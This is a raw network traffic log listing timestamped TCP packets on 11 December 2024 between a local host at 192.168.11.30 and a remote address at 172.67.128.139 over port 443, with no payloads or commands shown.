Dec 11, 2024 12:14:59.511495113 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.511662006 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.511662006 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.513544083 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.513559103 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.513701916 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.513703108 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.513885021 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.513885021 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.513894081 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.515263081 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.515280962 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.515412092 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.515412092 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.515424013 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.515650988 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.515650988 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.517235994 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.517251015 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.517580986 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.517580986 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.517580986 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.517580986 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.517580986 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.517596006 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.519233942 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.519253969 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.519378901 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.519378901 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.519392014 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.519431114 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.519431114 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.519618034 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.519670963 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.521348953 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.521363974 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.521481037 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.521533012 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.521533012 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.521713972 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.521723986 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.523399115 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.523417950 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.523565054 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.523576975 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.523758888 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.523758888 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.523758888 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.523758888 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.524245024 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.524414062 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.524414062 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.524460077 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.546606064 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.702339888 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.702364922 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.702685118 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.702685118 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.702703953 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.702879906 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.702879906 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.702929020 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.704135895 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.704159975 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.704338074 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.704338074 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.704355955 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.704519033 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.704519033 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.705964088 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.705986023 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.706126928 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.706281900 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.706295013 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.706475019 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.706851006 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.707199097 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.708847046 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.708870888 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.709039927 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.709228992 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.709228992 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.709228992 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.709244967 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.709409952 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.710747004 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.710769892 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.710915089 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.711093903 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.711093903 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.711093903 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.711106062 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.711287022 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.712466002 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.712488890 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.712625980 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.712625980 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.712810040 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.712824106 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.712974072 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.713069916 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.714348078 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.714373112 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.714512110 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.714512110 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.714695930 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.714695930 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.714696884 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.714715004 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.714931965 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.716135979 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.716156960 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.716484070 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.716484070 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.716484070 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.716484070 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.716502905 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.716723919 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.718230009 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.718255043 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.718414068 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.718414068 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.718432903 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.718595982 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.718791962 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.718791962 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.719926119 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.719949007 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.720057011 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.720057011 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.720108986 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.720108986 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.720117092 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.720290899 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.720290899 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.720871925 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.721121073 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.721138000 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.722723007 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.722744942 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.722867966 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.722867966 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.722883940 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.723114014 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.723114014 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.723114014 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.724817038 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.724839926 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.725136042 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.725136042 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.725155115 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.725332022 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.726613045 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.726640940 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.726793051 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.726807117 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.726989031 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.726989031 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.727180958 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.728734016 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.728755951 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.728935957 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.728935957 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.728935957 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.728952885 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.729115009 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.730417013 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.730442047 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.730536938 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.730555058 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.730582952 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.730777979 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.730777979 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.730777979 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.730777979 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.732217073 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.732268095 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.732383966 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.732563972 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.732563972 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.732563972 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.732563972 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.732563972 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.732580900 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.734225035 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.734256029 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.734580040 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.734580040 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.734580994 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.734596014 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.734747887 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.735898972 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.735918045 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.736073971 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.736073971 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.736073971 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.736089945 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.736268044 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.738029957 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.738054037 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.738374949 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.738389015 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.739813089 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.739839077 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.739965916 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.739965916 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.739979982 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.740206957 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.740206957 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.742160082 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.742182970 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.742326021 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.742505074 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.742505074 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.742505074 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.742523909 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.743786097 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.743812084 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.743930101 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.743930101 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.743944883 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.743974924 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.744172096 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.745450974 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.745471954 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.745575905 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.745592117 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.745721102 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.745721102 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.745721102 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.747783899 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.747807026 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.747948885 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.748130083 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.748130083 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.748130083 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.748130083 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.748147964 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.749720097 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.749744892 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.750077009 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.750077009 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.750077009 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.750077009 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.750097990 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.751349926 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.751377106 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.751718044 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.751718044 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.751718044 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.751734972 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.752976894 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.753005028 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.753127098 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.753142118 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.753310919 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.753310919 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.753310919 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.753310919 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.753310919 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.755397081 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.755419970 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.755589008 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.755606890 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.755773067 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.755774021 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.757090092 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.757114887 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.757427931 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.757427931 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.757427931 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.757427931 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.757427931 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.757443905 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.757611036 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.758940935 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.758961916 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.759296894 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.759296894 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.759296894 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.759316921 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.760848045 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.760874033 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.761013031 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.761013031 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.761029005 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.761207104 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.761207104 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.761207104 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.761207104 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.762939930 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.762963057 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.763314962 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.763314962 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.763364077 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.763364077 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.763364077 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.763372898 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.763549089 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.764616013 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.764642954 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.764790058 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.764803886 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.764983892 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.764983892 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.764983892 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.765175104 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.766634941 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.766657114 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.767271042 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.767271042 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.767271042 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.767287016 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.767452955 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.767452955 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.768322945 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.768349886 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.768678904 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.768680096 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.768695116 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.768872023 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.770128012 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.770143986 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.770302057 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.770318031 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.770330906 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.770330906 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.770523071 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.770523071 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.790853024 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.794035912 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.943764925 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.943788052 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.944236994 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.944305897 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.944307089 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.944317102 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.944680929 CET	49832	443	192.168.11.30	172.67.128.139
Dec 11, 2024 12:14:59.945477009 CET	443	49832	172.67.128.139	192.168.11.30
Dec 11, 2024 12:14:59.945489883 CET	443	49832	172.67.128.139	192.168.11.30
